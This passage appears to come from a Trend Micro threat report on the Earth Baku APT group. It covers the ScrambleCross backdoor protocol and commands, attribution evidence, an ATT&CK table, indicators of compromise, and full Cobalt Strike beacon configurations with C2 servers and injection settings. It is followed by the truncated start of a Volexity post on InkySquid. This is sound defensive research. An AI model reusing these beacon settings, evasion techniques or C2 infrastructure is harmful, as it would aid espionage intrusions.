ChaCha20, using the key embedded in the network configuration. The +nonce is the last 12 random bytes generated in Step 2. +8. Calculate the total size of the MD5 hash, which is the sum of 13, the nonce, the encrypted header +chunk, and the encrypted payload chunk. Copy the MD5 hash onto the top of the message data. +9. If the message is sent in TCP, add the size of the message data on top of the message data. +Payload chunk +Original data size (WORD) +Compressed data size (WORD) +Raw request payload +enc payload +Compressed data size (WORD) +Message +Hash of following data (16 bytes) +Fixed ChaCha20 key (32 bytes) +Nonce [0:12] +Nonce [4:16] +Nonce (16 bytes) +Computer name (30 bytes) +Message +HTTP header +HTTP +Header chunk +Server challenge (16 bytes) +Hash of victim info (16 bytes) +Machine GUID (40 bytes) +BotID (16 bytes) +enc payload +(4 bytes + compressed data size) +Session ID (DWORD) +Request ID (DWORD) +Size of message (DWORD) +enc header +(44 bytes) +ChaCha20 key in +g (32 bytes) +Server challenge or null bytes +Total size + 13 (word) +enc header +Command (DWORD) +Figure 44. ScrambleCross + compilation of request data +32 | Earth Baku: An APT Group Targeting Indo-Pacific Countries With New Stealth Loaders and Backdoor +Message +ScrambleCross, like Crosswalk, also receives backdoor commands from its C&C server, as shown in +Figure 45, but these are very different from those for Crosswalk. In the case of ScrambleCross, the purpose +of its backdoor commands is to receive plug-ins from the C&C server and to manipulate these plug-ins, as +indicated in Table 1. However, since a backdoor command +s capacity for manipulating plug-ins depends +on the specific plug-in it receives, and we have been unable to retrieve any plug-ins from the server, we +have yet to determine the full extent of the commands + plug-in manipulation functions. +Figure 45. ScrambleCross receiving backdoor commands from its C&C server +Command +Action +Do nothing. +0x64 +Run all the loaded plug-in +s entry at offset 0x48, which possibly tries to +close sessions in the plug-in and close current sessions. +0x5C +Update the ChaCha20 key for message encryption and decryption on C&C +communication. +0x66 +Change the current status based on the Base64-like string in response. +0x68 +Change the unknown DWORD value. +0x70 +Update the maximum interval period. +0x74 +Possibly uninstall all the plug-ins. Enumerate the loaded plug-ins, run the +plug-in +s entry at offset 0x38 if it is already initialized, and then unload the +plug-in. +33 | Earth Baku: An APT Group Targeting Indo-Pacific Countries With New Stealth Loaders and Backdoor +Command +Action +0x78 +Find a plug-in by ID and, if it is already initialized, run the plug-in +s entry +offset at 0x38. If the plug-in +s entry offset at 0x38 returns false, it will be +unloaded. +0x7C +Possibly initialize a new plug-in. It receives new plug-in data from the C&C +server and runs the plug-in +s entry at offset 0x30. +0x7E +Possibly try to remove a specified server challenge from the server +challenge list. Find a plug-in by ID (or if 0xFF is specified, all plug-ins will +be targeted) and, if it is already initialized, run the plug-in +s entry offset +at 0x50. Afterward, look for the given challenge bytes in the registered +challenge list and remove them from the list. +0x80 +Find a plug-in by ID and, if it is already initialized, run the plug-in +s entry +offset at 0x38. If the plug-in +s entry offset at 0x38 returns false, the plug-in +and related registered server challenge will be unloaded. +0x82 +Enumerate the user information and send it back to the C&C server. +0x84 +Change the unknown DWORD value. +0x8C +Send the current configuration values to the C&C server. +0x8E +Load additional configuration from the message and try to save to file. +None of the +above +Enumerate all the loaded plug-ins and run the plug-in +s entry offset at 0x40. +Table 1. A list of backdoor commands for ScrambleCross +Because ScrambleCross supports HTTPS, some variants of this backdoor abuse Cloudflare Workers, a +computing platform, to obscure their C&C server activity. Cloudflare Workers can prove to be a powerful +and accessible tool for malicious actors for the following reasons: +Cloudflare Workers provides better scalability, making it useful for malicious actors who want to build +their C&C infrastructure. +The malware will not communicate with the C&C server directly, posing a challenge for security +analysts to find the actual IP address to block. C&C traffic on Cloudflare Workers makes blocking of +ScrambleCross + C&C server much more difficult because the observed IP address is a Cloudflare IP +address rather than that of the actual C&C server. +The Cloudflare Workers platform is allowed by many security products. Connections to Cloudflare +Workers are often considered legitimate and thus will likely be overlooked by network monitoring +solutions. +34 | Earth Baku: An APT Group Targeting Indo-Pacific Countries With New Stealth Loaders and Backdoor +Attribution +As previously mentioned, we have concluded that the threat actors behind this malware are linked to +Earth Baku. This attribution is supported by the following key findings. +Use of install.bat +During an incident response, we found the installer script for StealthVector called install.bat (Figure 46). +This is the same batch file used in a previous cyberespionage campaign carried out by APT41, according +to the aforementioned FireEye report (Figure 47). +Figure 46. The install.bat script +35 | Earth Baku: An APT Group Targeting Indo-Pacific Countries With New Stealth Loaders and Backdoor +Figure 47. The batch file used by APT41, according to FireEye +s report +Code Similarities to the Shellcode Loader Used +by APT41 +We have observed that Storesyncsvc.dll, the DLL version used by StealthVector, has an entry point for +service (Figure 48) that resembles the one mentioned in FireEye +s report (Figure 49). There are also similar +procedures for loading the necessary APIs between the Storesyncsvc.dll versions of the StealthVector +sample (Figure 50) and the one from the FireEye report (Figure 51). +36 | Earth Baku: An APT Group Targeting Indo-Pacific Countries With New Stealth Loaders and Backdoor +Figure 48. Storesyncsvc.dll in StealthVector +Figure 49. Storesyncsvc.dll in the FireEye report sample +37 | Earth Baku: An APT Group Targeting Indo-Pacific Countries With New Stealth Loaders and Backdoor +Figure 50. Storesyncsvc.dll +s procedure for loading APIs in the StealthVector sample +Figure 51. Storesyncsvc.dll +s procedure for loading APIs in the FireEye report sample +Technique Similarities to Crosswalk +Crosswalk and ScrambleCross implement similar techniques. Both pieces of malware decode their main +functions and strings with XOR, after which they check the signature of the decoded section, as shown +in Figure 52 and Figure 53. +38 | Earth Baku: An APT Group Targeting Indo-Pacific Countries With New Stealth Loaders and Backdoor +Figure 52. Crosswalk code that checks the signature of its decoded section +Figure 53. ScrambleCross code that checks the signature of its decoded section +39 | Earth Baku: An APT Group Targeting Indo-Pacific Countries With New Stealth Loaders and Backdoor +Conclusion and Security +Recommendations +The discovery of these new pieces of malware demonstrates that Earth Baku consists of members with +varied skill sets. The group +s use of the StealthMutant and StealthVector loaders indicates that among +their ranks is at least one member who is familiar with tools and techniques used by red teams. Likewise, +the group +s use of the ScrambleCross backdoor points to at least one member who likely has a deep +knowledge of low-level programming and complex software development. +Evidence of members with these collective skills obscures the true purpose behind this new campaign. +Even though Earth Baku engaged in ransomware attacks in early 2020,20 we have not observed the use +of ransomware in this new campaign. Instead, as a report by Group-IB suggests,21 this latest campaign +by Earth Baku may be focused on cyberespionage. It is our hope that this report will encourage other +security researchers to publish further research about this threat actor group and its activities. +Here are several measures that end users and organizations can take to defend their networks and +systems against cyberespionage tactics and minimize the risk of compromise: +Practice the principle of least privilege. Limit access to sensitive data and carefully monitor user +permissions to make lateral movement more difficult for attackers who want to infiltrate a corporate +network. +Be mindful of security gaps. Regularly update systems and applications, and enforce strict patch +management policies. Practice virtual patching to secure any legacy systems for which patches are +not yet available. +Have a proactive incident response strategy. Implement defensive measures that are designed to +assess threats and mitigate their impact in the event of a breach. Routinely carry out security drills to +test the efficiency of the organization +s incident response plan. +Enforce the 3-2-1 rule. Store at least three copies of corporate data in two different formats, with +one air-gapped copy located off-site. Routinely update and test these copies to ensure that there are +no errors in the backup process. +40 | Earth Baku: An APT Group Targeting Indo-Pacific Countries With New Stealth Loaders and Backdoor +Enterprises and government agencies can benefit from advanced Trend Micro solutions that can proactively +keep IT environments protected from a wide range of cybersecurity threats. The Trend Micro + XDR +service effectively protects connected emails, endpoints, servers, cloud workloads, and networks.22 It +uses powerful AI and expert security analytics to correlate data, and deliver fewer yet higher-fidelity alerts +for early threat detection. In a single console, it provides a broader perspective of enterprise systems +while at the same time giving a more focused and optimized set of alerts. This allows IT security teams to +have better context for identifying threats more quickly and therefore to understand and remediate impact +much more effectively. +The Trend Micro + Managed XDR service, meanwhile, provides expert threat monitoring, correlation, +and analysis from skilled and seasoned managed detection and response analysts.23 Managed XDR +is a flexible, 24/7 service that allows organizations to have a single source of detection, analysis, and +response. Analyst expertise is enhanced by Trend Micro solutions that are optimized by AI and enriched +by global threat intelligence. The Managed XDR service allows organizations to expand with the cloud +without sacrificing security or overburdening IT teams. +41 | Earth Baku: An APT Group Targeting Indo-Pacific Countries With New Stealth Loaders and Backdoor +Appendix +MITRE ATT&CK Tactics, Techniques, and Procedures +Tactic +Technique +Procedure +Used by +Initial access +T1190 +Exploit publicfacing application +Earth Baku exploits SQL +injection or CVE-2021-26855 to +intrude on the network. +Phishing: +spear phishing +attachment +Earth Baku possibly distributes +spam with LNK attachments +that download StealthVector. +Command +and scripting +interpreter: +Windows +Command Shell +Earth Baku uses a batch file to +install StealthVector. +Command +and scripting +interpreter: Visual +Basic +Earth Baku uses VBS to drop +StealthVector. +T1569.002 +Service execution +Some variants of StealthVector +are designed to be executed as +a service. +T1053.005 +Scheduled task/ +job: scheduled +task +StealthMutant is executed via a +scheduled task. +T1574.002 +DLL sideloading +Some variants of StealthVector +are designed to be executed by +DLL sideloading. +StealthVector +T1055.012 +Process injection: +process hollowing +StealthMutant and +StealthVector can perform +process hollowing and phantom +DLL hollowing to inject the +shellcode in a remote process. +StealthMutant, +StealthVector +T1562.006 +Impair defenses: +indicator blocking +StealthMutant and +StealthVector can patch +EtwEventWrite to disable +logging by ETW. +StealthMutant, +StealthVector +T1027 +Obfuscated files +or information +StealthMutant uses XOR or +AES-256-ECB to decrypt the +payload. StealthVector uses +ChaCha20 to decrypt both +the configuration and the +payload. The main function of +ScrambleCross is encoded by +XOR and its configuration is +encrypted by ChaCha20. +StealthMutant, +StealthVector, +ScrambleCross +T1218.004 +Signed binary +proxy execution: +InstallUtil +Some variants of StealthVector, +including its C# implementation +StealthMutant, are executed by +InstallUtil. +StealthMutant +T1566.001 +Execution +T1059.003 +T1059.005 +Defense evasion +StealthVector +42 | Earth Baku: An APT Group Targeting Indo-Pacific Countries With New Stealth Loaders and Backdoor +Tactic +Command and +control +Technique +Procedure +Used by +T1036.003 +Masquerading: +rename system +utilities +Earth Baku renames the +legitimate CertUtil.exe to +bypass detection. +T1027.002 +Obfuscated files +or information: +software packing +StealthMutant is packed by +ConfuserEx. +StealthMutant +T1573.001 +Encrypted +channel: +symmetric +cryptography +ScrambleCross uses ChaCha20 +for packet encryption. +ScrambleCross +T1071.001 +Application layer +protocol: web +protocols +The Cobalt Strike beacon uses +HTTPS to communicate with +the C&C server. ScrambleCross +uses HTTP/HTTPS +to communicate with the C&C +server. +Cobalt Strike, +ScrambleCross +T1071.004 +Application layer +protocol: DNS +The Cobalt Strike beacon uses +DNS to communicate with the +C&C server. +Cobalt Strike +T1090.004 +Proxy: domain +fronting +ScrambleCross abuses a +legitimate CDN service to +tunnel traffic to the actual C&C +server. +ScrambleCross +T1105 +Ingress tool +transfer +Earth Baku uses CertUtil.exe to +download components from a +URL. +Indicators of Compromise +LNK Downloader Files +SHA-256 +Detection +59fa89a19aa236aec216f0c8e8d59292b8d4e1b3c8b5f94038851cc5396d6513 +Trojan.LNK.STEALTHVECTOR.ZYIF +BAT Launcher Files +SHA-256 +Detection +49e338c5ae9489556ae8f120a74960f3383381c91b8f03061ee588f6ad97e74c +Trojan. BAT.SVCLAUNCHER.ZYIF +c8e3e27401ae87cbd891b46505b89f2970f8890de4b09cbaa538d827caa86b26 +Trojan. BAT.SVCLAUNCHER.ZYIF +d1175b88744606363f6fdf2df5980ca5a0898a3944fcf15f5c4c014473b043ca +Trojan. BAT.SVCLAUNCHER.ZYIF +62d9e8f6e8ade53c6756f66beaaf4b9d93da6d390bf6f3ae1340389178a2fa29 +Trojan. BAT.SVCLAUNCHER.ZYIF +da4b86b9367151e0c36b90cb7329aca2d05f2984ce0e0181dd355b728acc4428 +Trojan. BAT.SVCLAUNCHER.ZYIF +43 | Earth Baku: An APT Group Targeting Indo-Pacific Countries With New Stealth Loaders and Backdoor +StealthMutant and Payloads +SHA-256 +Detection +Payload +24ac3cc305576493beefab026d1cb7cce84f3bfcbcc51cdb5e612c290499390a +Backdoor.Win64. +SCRAMBLECROSS.ZYIF. +Cobalt Strike +beacon (HTTP) +209521bc350e7f5b28decba46bad81090a13f42eed396db3ca9a97eaf7902fe8 +Backdoor.Win64. +COBEACON.ZYIF.enc +34f95e0307959a376df28bc648190f72bccc5b25e0e00e45777730d26abb5316 +Trojan.MSIL. +STEALTHMUTANT.ZYIF +Encrypted +payload not +found +b7b2aa801dea2ec2797f8cf43b99c4bf8d0c1effe532c0c800b40336e9012af2 +Trojan.MSIL. +STEALTHMUTANT.ZYIF +Encrypted +payload not +found +8284c44f87ab8471918da564152ffcc28348a671e3a9316876b075cdf03c3607 +Trojan.MSIL. +STEALTHMUTANT.ZYIF +Encrypted +payload not +found +e66adbc6ca13dab9915aca30360c86b75e63e9c0845ac89217299fed556810cc +Trojan.MSIL. +STEALTHMUTANT.ZYIF +ScrambleCross +6c5192a478bd7eca95f83ab3ebf036d4c1ffcc81e0354fa05f02f5fe4e8bfdf5 +Backdoor.Win64. +SCRAMBLECROSS.ZYIF. +ce16e9a2d3722bb5f5b3636f307bd386ed24abafea72aeb6dd002d51eeca16df +Trojan.MSIL. +STEALTHMUTANT.ZYIF +Cobalt Strike +beacon +(HTTPS) +9269dc68d46630c0d534bf62a299037fd3a124a6459d97692c25ffb89ccd1f08 +Backdoor.Win64. +COBEACON.ZYIF.enc +04f6fc49da69838f5b511d8f996dc409a53249099bd71b3c897b98ad97fd867c +Trojan.MSIL. +STEALTHMUTANT.ZYIF +730f4d8c1e774406105bbaad3cb4b466c27e0a50cf8345c236b42a80b437e2a8 +Backdoor.Win64. +SCRAMBLECROSS.ZYIF. +Detection +Payload +9e178bb966f101e8c8ed020fbb2fb5878e2a969f7eaf47bc990f0472e85a3533 +Trojan.Win64. +STEALTHVECTOR. +SMZTID-B +Encrypted +payload not +found +d9d269a199ca0841fc71fef045c3dc5701a5042bea46d05a657b6db43fe55acc +Trojan.Win64. +STEALTHVECTOR. +SMZTID-B +Encrypted +payload not +found +8da88951322fa7f464c13cb4a173d0c178f5e34a57957c9117b393133dd19925 +Trojan.Win64. +STEALTHVECTOR. +SMZTID-B +Encrypted +payload not +found +ScrambleCross +StealthVector +SHA-256 +44 | Earth Baku: An APT Group Targeting Indo-Pacific Countries With New Stealth Loaders and Backdoor +SHA-256 +Detection +Payload +e009ef76fb9402fe379280ed9c6a4d81748fb259475b9048937f3d7c7f0f0f32 +Trojan.Win64. +STEALTHVECTOR. +SMZTID-B +Encrypted +payload not +found +e2ae201bd6a7397dcc5036260122e7d67046569b90c4f1b79ef8e34914729888 +Trojan.Win64. +STEALTHVECTOR. +SMZTID-B +ScrambleCross +c1b587a922691c7e01db3e57f223fa2b5d2df2121736922ff97141571c550cfc +Trojan.Win64. +STEALTHVECTOR. +SMZTID-B +Encrypted +payload not +found +02378f64fd1083491cf5558397aae763ff047a5fa9fcaf624d1710b86f440777 +Trojan.Win64. +STEALTHVECTOR. +SMZTID-B +Encrypted +payload not +found +560a96e4577d09eb13416e5c4d649c346ca11a2459f09c8a3495d7c377c1f31d +Trojan.Win64. +STEALTHVECTOR. +SMZTID-B +Cobalt Strike +beacon (Hybrid +HTTP DNS) +91aa05e3666c7e2443fc1f0f0142f1829f5ec51e289c95b10811531da50eb2b3 +Trojan.Win64. +STEALTHVECTOR. +SMZTID-B +Cobalt Strike +beacon +(HTTPS) +98f6be546c5191b67014e3d0f7f8df86715d970aa326a6a438d0be234daf8841 +Trojan.Win64. +STEALTHVECTOR. +SMZTID-B +Encrypted +payload not +found +477882b41e10aef0fcd0d5d33715dfb4eb7f8f3277057978ac77d3ec5914c6f9 +Trojan.Win64. +STEALTHVECTOR. +SMZTID-B +Encrypted +payload not +found +bf34dfb4140c00d23554b03ebb986b2734a2c396877681d526e2ac80b372268a +Trojan.Win64. +STEALTHVECTOR. +SMZTID-B +Encrypted +payload not +found +d981edf78680f46616574b46ac3d0ab58a509430c155905761058152a24f091d +Trojan.Win64. +STEALTHVECTOR.ZYIG +Cobalt Strike +beacon +(HTTPS) +Domains/IP addresses +Ns[.]cloud01[.]tk +Ns[.]cloud20[.]tk +ns1[.]extrsports[.]ru:443 +www[.]microsofthelp[.]dns1[.]us:443 +45[.]138[.]157[.]78:80 +update[.]microsoftdocs[.]workers[.]dev:443 +www[.]twitterproxy[.]com:443 +cdn[.]cloudfiare[.]workers[.]dev:443 +mssetting[.]com +dns224[.]com +cloudflare-ko[.]biguserup[.]workers[.]dev:443 +45 | Earth Baku: An APT Group Targeting Indo-Pacific Countries With New Stealth Loaders and Backdoor +Cobalt Strike Configuration +Hybrid HTTP DNS beacon +BeaconType +- Hybrid HTTP DNS +Port +SleepTime +- 300000 +MaxGetSize +- 1404878 +Jitter +- 37 +MaxDNS +- 255 +PublicKey_MD5 +- df50953714f29628a7f6a6c97eb0bc2e +C2Server +- ns.cloud01.tk,/users/sign_in,ns.cloud20.tk,/users/sign_in +UserAgent +- Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko +HttpPostUri +- /signup/custom +Malleable_C2_Instructions +- Remove 3405 bytes from the end +Remove 3366 bytes from the beginning +Base64 URL-safe decode +XOR mask w/ random key +HttpGet_Metadata +- ConstHeaders +Host: fortawesome.com +xhtml+xml,application/xml;q=0.9,*/*;q=0.8 +Referer: https://fortawesome.com/ +Metadata +base64url +prepend +_fortawesome_session= +header +Cookie +HttpPost_Metadata +- ConstHeaders +46 | Earth Baku: An APT Group Targeting Indo-Pacific Countries With New Stealth Loaders and Backdoor +Host: fortawesome.com +Accept: text/html,application/xhtml+xml,application/ +xml;q=0.9,*/*;q=0.8 +SessionId +mask +base64url +parameter +__uid +Output +mask +base64url +prepend +remember_me=on&authenticity_token= +print +PipeName +DNS_Idle +- 8.8.8.8 +DNS_Sleep +SSH_Host +- Not Found +SSH_Port +- Not Found +SSH_Username +- Not Found +SSH_Password_Plaintext +- Not Found +SSH_Password_Pubkey +Not Found +SSH_Banner +HttpGet_Verb +- GET +HttpPost_Verb +- POST +HttpPostChunk +Spawnto_x86 +- %windir%\syswow64\rundll32.exe +Spawnto_x64 +- %windir%\sysnative\rundll32.exe +47 | Earth Baku: An APT Group Targeting Indo-Pacific Countries With New Stealth Loaders and Backdoor +CryptoScheme +Proxy_configuration +- Not Found +Proxy_User +- Not Found +Proxy_Password +- Not Found +Proxy_Behavior +- Use IE settings +Watermark +- 305419896 +bStageCleanup +- True +bCFGCaution +- False +KillDate +bProcInject_StartRWX +- False +bProcInject_UseRWX +- False +bProcInject_MinAllocSize +- 17500 +ProcInject_PrependAppend_x86 +\x90\x90\x90\x90 +Empty +ProcInject_PrependAppend_x64 +\x90\x90\x90\x90 +Empty +ProcInject_Execute +- ntdll:RtlUserThreadStart +CreateThread +NtQueueApcThread-s +CreateRemoteThread +RtlCreateUserThread +ProcInject_AllocationMethod +- NtMapViewOfSection +bUsesCookies +- True +HostHeader +headersToRemove +- Not Found +DNS_Beaconing +- Not Found +48 | Earth Baku: An APT Group Targeting Indo-Pacific Countries With New Stealth Loaders and Backdoor +DNS_get_TypeA +- Not Found +DNS_get_TypeAAAA +- Not Found +DNS_get_TypeTXT +- Not Found +DNS_put_metadata +- Not Found +DNS_put_output +- Not Found +DNS_resolver +- Not Found +DNS_strategy +- Not Found +DNS_strategy_rotate_seconds +- Not Found +DNS_strategy_fail_x +- Not Found +DNS_strategy_fail_seconds +- Not Found +HTTPS beacon +BeaconType +- HTTPS +Port +- 443 +SleepTime +- 60000 +MaxGetSize +- 1404878 +Jitter +- 37 +MaxDNS +- 255 +PublicKey_MD5 +- df50953714f29628a7f6a6c97eb0bc2e +C2Server +- work.cloud01.tk,/users/sign_in,work.cloud20.tk,/ +users/sign_in,185.118.166.205,/users/sign_in +UserAgent +- Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; +rv:11.0) like Gecko +HttpPostUri +- /signup/custom +Malleable_C2_Instructions +- Remove 3405 bytes from the end +Remove 3366 bytes from the beginning +49 | Earth Baku: An APT Group Targeting Indo-Pacific Countries With New Stealth Loaders and Backdoor +Base64 URL-safe decode +XOR mask w/ random key +HttpGet_Metadata +- ConstHeaders +Host: fortawesome.com +Accept: text/html,application/xhtml+xml,application/ +xml;q=0.9,*/*;q=0.8 +Accept-Encoding: gzip, deflate +Referer: https://fortawesome.com/ +Metadata +base64url +prepend +_fortawesome_session= +header +Cookie +HttpPost_Metadata +- ConstHeaders +Host: fortawesome.com +Accept: text/html,application/xhtml+xml,application/ +xml;q=0.9,*/*;q=0.8 +Accept-Encoding: gzip, deflate +SessionId +mask +base64url +parameter +__uid +Output +mask +base64url +prepend +remember_me=on&authenticity_token= +print +PipeName +50 | Earth Baku: An APT Group Targeting Indo-Pacific Countries With New Stealth Loaders and Backdoor +DNS_Idle +- 8.8.8.8 +DNS_Slee +SSH_Host +- Not Found +SSH_Port +- Not Found +SSH_Username +- Not Found +SSH_Password_Plaintext +- Not Found +SSH_Password_Pubkey +- Not Found +SSH_Banner +HttpGet_Verb +- GET +HttpPost_Verb +- POST +HttpPostChunk +Spawnto_x86 +- %windir%\syswow64\rundll32.exe +Spawnto_x64 +- %windir%\sysnative\rundll32.exe +CryptoScheme +Proxy_configuration +- Not Found +Proxy_User +- Not Found +Proxy_Password +- Not Found +Proxy_Behavior +- Use IE settings +Watermark +- 305419896 +bStageCleanup +- True +bCFGCaution +- False +KillDate +bProcInject_StartRWX +- False +bProcInject_UseRWX +- False +bProcInject_MinAllocSize +- 17500 +ProcInject_PrependAppend_x86 +\x90\x90\x90\x90 +51 | Earth Baku: An APT Group Targeting Indo-Pacific Countries With New Stealth Loaders and Backdoor +Empty +ProcInject_PrependAppend_x64 +\x90\x90\x90\x90 +Empty +ProcInject_Execute +- ntdll:RtlUserThreadStart +CreateThread +NtQueueApcThread-s +CreateRemoteThread +RtlCreateUserThread +ProcInject_AllocationMethod +- NtMapViewOfSection +bUsesCookies +- True +HostHeader +headersToRemove +- Not Found +DNS_Beaconing +- Not Found +DNS_get_TypeA +- Not Found +DNS_get_TypeAAAA +- Not Found +DNS_get_TypeTXT +- Not Found +DNS_put_metadata +- Not Found +DNS_put_output +- Not Found +DNS_resolver +- Not Found +DNS_strategy +- Not Found +DNS_strategy_rotate_seconds +- Not Found +DNS_strategy_fail_x +- Not Found +DNS_strategy_fail_seconds +- Not Found +52 | Earth Baku: An APT Group Targeting Indo-Pacific Countries With New Stealth Loaders and Backdoor +References +Trend Micro. (April 19, 2017). Trend Micro. +Examining a Possible Member of the Winnti Group. + Accessed on July 9, 2021, at +https://www.trendmicro.com/en_us/research/17/d/pigs-malware-examining-possible-member-winnti-group.html. +Joseph C. Chen et al. (July 9, 2021). Trend Micro. +BIOPASS RAT: New Malware Sniffs Victims via Live Streaming. + Accessed +on July 9, 2021, at https://www.trendmicro.com/en_us/research/21/g/biopass-rat-new-malware-sniffs-victims-via-livestreaming.html. +Benson Sy. (June 29, 2015). Trend Micro. +MERS News Used in Targeted Attack against Japanese Media Company. +Accessed on July 9, 2021, at https://blog.trendmicro.com/trendlabs-security-intelligence/mers-news-used-in-targeted-attackagainst-japanese-media-company/. +Daniel Lunghi et al. (Feb. 18, 2020). Trend Micro. +Uncovering DRBControl: Inside the Cyberespionage Campaign Targeting +Gambling Operations. + Accessed on July 9, 2021, at https://www.trendmicro.com/vinfo/us/security/news/cyber-attacks/ +operation-drbcontrol-uncovering-a-cyberespionage-campaign-targeting-gambling-companies-in-southeast-asia. +The United States Department of Justice. (Sept. 16, 2020). The United States Department of Justice. +Seven International +Cyber Defendants, Including +Apt41 + Actors, Charged In Connection With Computer Intrusion Campaigns Against More Than +100 Victims Globally. + Accessed on July 16, 2021, at https://www.justice.gov/opa/pr/seven-international-cyber-defendantsincluding-apt41-actors-charged-connection-computer. +Positive Technologies. (Jan. 14, 2021). Positive Technologies. +Higaisa or Winnti? APT41 backdoors, old and new. + Accessed +on July 16, 2021, at https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/higaisa-or-winnti-apt-41backdoors-old-and-new. +Christopher Glyer et al. (March 25, 2020). FireEye Threat Research Blog. +This Is Not a Test: APT41 Initiates Global Intrusion +Campaign Using Multiple Exploits. + Accessed on July 16, 2021, at https://www.fireeye.com/blog/threat-research/2020/03/ +apt41-initiates-global-intrusion-campaign-using-multiple-exploits.html. +Bernardo Damele, Miroslav Stampar, and Alessandro Tanasi. (Jan. 19, 2021). Github. +sqlmap/plugins/dbms/mssqlserver/ +filesystem.py. + Accessed on July 16, 2021, at https://github.com/sqlmapproject/sqlmap/blob/master/plugins/dbms/ +mssqlserver/filesystem.py#L281-L333. +Nitesh Surana. (April 14, 2021). Trend Micro. +Could the Microsoft Exchange breach be stopped? + Accessed on July 22, 2021, +at https://www.trendmicro.com/en_us/devops/21/d/could-the-microsoft-exchange-breach-be-stopped.html. +10 Thomas Dupuy, Matthieu Faou, and Mathieu Tartare. (March 10, 2021). WeLiveSecurity. +Exchange servers under siege from +at least 10 APT groups. + Accessed on July 16, 2021, at https://www.welivesecurity.com/2021/03/10/exchange-servers-undersiege-10-apt-groups. +11 ambray. (Oct 24, 2017). GitHub. +ProcessHollowing/ShellLoader/Loader.cs. + Accessed on July 16, 2021, at https://github. +com/ambray/ProcessHollowing/blob/master/ShellLoader/Loader.cs. +12 Yoshihiro Ishikawa. (May 21, 2021). LAC. +Microsoft +Cobalt Strike loader +APT41. + Accessed on July 16, 2021, at https://www.lac.co.jp/lacwatch/report/20210521_002618.html. +13 Internet Research Task Force. (May 2015). IETF Trust. +ChaCha20 and Poly1305 for IETF Protocols. + Accessed on July 16, +2021, at https://datatracker.ietf.org/doc/html/rfc7539. +14 Raphael Mudge. (April 9, 2018). CobaltStrike. +Cobalt Strike 3.11 + The snake that eats its tail. + Accessed on July 16, 2021, at +https://blog.cobaltstrike.com/2018/04/09/cobalt-strike-3-11-the-snake-that-eats-its-tail. +15 CyCraft Research Team. (April 15, 2020). Cycraft. +APT Group Chimera - APT Operation Skeleton Key Targets Taiwan +Semiconductor Vendors. + Accessed on July 16, 2021, at https://cycraft.com/download/%5BTLP-White%5D20200415%20 +Chimera_V4.1.pdf. +16 Takahiro Haruyama. (2021). VMware Carbon Black. +Knock, knock, Neo. - Active C2 Discovery Using Protocol Emulation. +Accessed on July 16, 2021, at https://jsac.jpcert.or.jp/archive/2021/pdf/JSAC2021_201_haruyama_jp.pdf. +17 The United States Department of Justice. (Aug. 13, 2020). The United States Department of Justice. +Seven International +Cyber Defendants, Including +Apt41 + Actors, Charged In Connection With Computer Intrusion Campaigns Against More Than +100 Victims Globally. + Accessed on July 16, 2021, at https://www.justice.gov/opa/pr/seven-international-cyber-defendantsincluding-apt41-actors-charged-connection-computer. +53 | Earth Baku: An APT Group Targeting Indo-Pacific Countries With New Stealth Loaders and Backdoor +18 Sudeep Singh and Atinderpal Singh. (June 11, 2020). ZScaler. +The Return of the Higaisa APT. + Accessed on July 16, 2021, at +https://www.zscaler.com/blogs/security-research/return-higaisa-apt. +19 VMware. (Sept. 30, 2019). VMware. +CB Threat Analysis Unit: Technical Analysis of +Crosswalk. + Accessed on July 16, 2021, +at https://www.carbonblack.com/blog/cb-threat-analysis-unit-technical-analysis-of-crosswalk. +20 CyCraft Technology Corp. (June 2, 2021). Medium. +China-Linked Threat Group Targets Taiwan Critical Infrastructure, +Smokescreen Ransomware. + Accessed on July 16, 2021, at https://medium.com/cycraft/china-linked-threat-group-targetstaiwan-critical-infrastructure-smokescreen-ransomware-c2a155aa53d5. +21 Nikita Rostovcev. (June 10, 2021). Group-IB. +Big airline heist: APT41 likely behind massive supply chain attack. + Accessed +on July 16, 2021, at https://blog.group-ib.com/colunmtk_apt41. +22 Trend Micro. (n.d.). Trend Micro. +XDR. + Accessed on July 22, 2021, at https://www.trendmicro.com/en_us/business/ +products/detection-response/xdr.html. +23 Trend Micro. (n.d.). Trend Micro. +Managed XDR. + Accessed on July 22, 2021, at https://www.trendmicro.com/en_us/ +business/products/detection-response/managed-xdr-mdr.html. +54 | Earth Baku: An APT Group Targeting Indo-Pacific Countries With New Stealth Loaders and Backdoor +TREND MICROTM RESEARCH +Trend Micro, a global leader in cybersecurity, helps to make the world safe for exchanging digital information. +Trend Micro Research is powered by experts who are passionate about discovering new threats, sharing key insights, and supporting +efforts to stop cybercriminals. Our global team helps identify millions of threats daily, leads the industry in vulnerability disclosures, +and publishes innovative research on new threat techniques. We continually work to anticipate new threats and deliver thoughtprovoking research. +www.trendmicro.com +2021 by Trend Micro, Incorporated. All rights reserved. Trend Micro, the Trend Micro t-ball logo, Trend Micro Smart Protection Network, Trend +55 | Earth Baku: An APT Group Targeting Indo-Pacific Countries With New Stealth Loaders and Backdoor +Micro XDR, and Trend Micro Managed XDR are trademarks or registered trademarks of Trend Micro, Incorporated. All other product or company +names may be trademarks or registered trademarks of their owners. +North Korean APT InkySquid Infects Victims Using Browser Exploits +volexity.com/blog/2021/08/17/north-korean-apt-inkysquid-infects-victims-using-browser-exploits +August 17, 2021 +by Damien Cash, Josh Grunzweig, Matthew Meltzer, Steven Adair, Thomas Lancaster +Volexity recently investigated a strategic web compromise (SWC) of the website of the Daily NK (www.dailynk[.]com), a South Korean online newspaper that focuses +on issues relating to North Korea. Malicious code on the Daily NK website was observed from at least late March 2021 until early June 2021. +This post provides details on the different exploits used in the SWC, as well as the payload used, which Volexity calls BLUELIGHT. Volexity attributes the activity +described in this post to a threat actor Volexity refers to as InkySquid, which broadly corresponds to activity known publicly under the monikers ScarCruft and APT37. +SWC Activity +In April 2021, through its network security monitoring on a customer network, Volexity identified suspicious code being loaded via www.dailynk[.]com to malicious +subdomains of jquery[.]services. Examples of URLs observed loading malicious code include the following: +hxxps://www.dailynk[.]com/wp-includes/js/jquery/jquery.min.js?ver=3.5.1 +hxxps://www.dailynk[.]com/wp-includes/js/jquery/jquery-migrate.min.js?ver=3.3.2 +These URLs lead to legitimate files used as part of the normal function of the Daily NK website; however, their contents were modified by the attacker to include code +redirecting users to load malicious JavaScript from the attacker-owned domain jquery[.]services. The attacker-included code was only added for short periods of time +and was swiftly removed, making identification of this activity difficult as the malicious content was 